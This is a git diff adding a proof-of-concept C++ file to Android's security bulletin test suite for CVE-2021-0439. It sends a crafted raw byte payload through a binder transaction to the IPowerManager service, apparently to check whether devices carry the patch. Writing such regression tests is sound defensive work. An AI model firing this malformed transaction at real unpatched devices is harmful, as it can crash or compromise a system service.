1 files changed, 49 insertions, 0 deletions
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp
new file mode 100644
index 00000000000..65cab130f75
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0439/poc.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+
+int main() {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("power"));
+  if (!binder) {
+    return EXIT_FAILURE;
+  }
+  Parcel data, result;
+  data.writeInterfaceToken(String16("android.os.IPowerManager"));
+  char d[] = {static_cast<char>(0xc9),
+              static_cast<char>(0xa4),
+              0x10,
+              static_cast<char>(0xd4),
+              0x00,
+              0x00,
+              0x00,
+              0x00,
+              0x00,
+              0x27,
+              0x00,
+              0x5a,
+              0x00,
+              0x00,
+              0x00,
+              0x00};
+  data.write(d, sizeof(d));
+  binder->transact(6, data, &result);
+  return EXIT_SUCCESS;
+}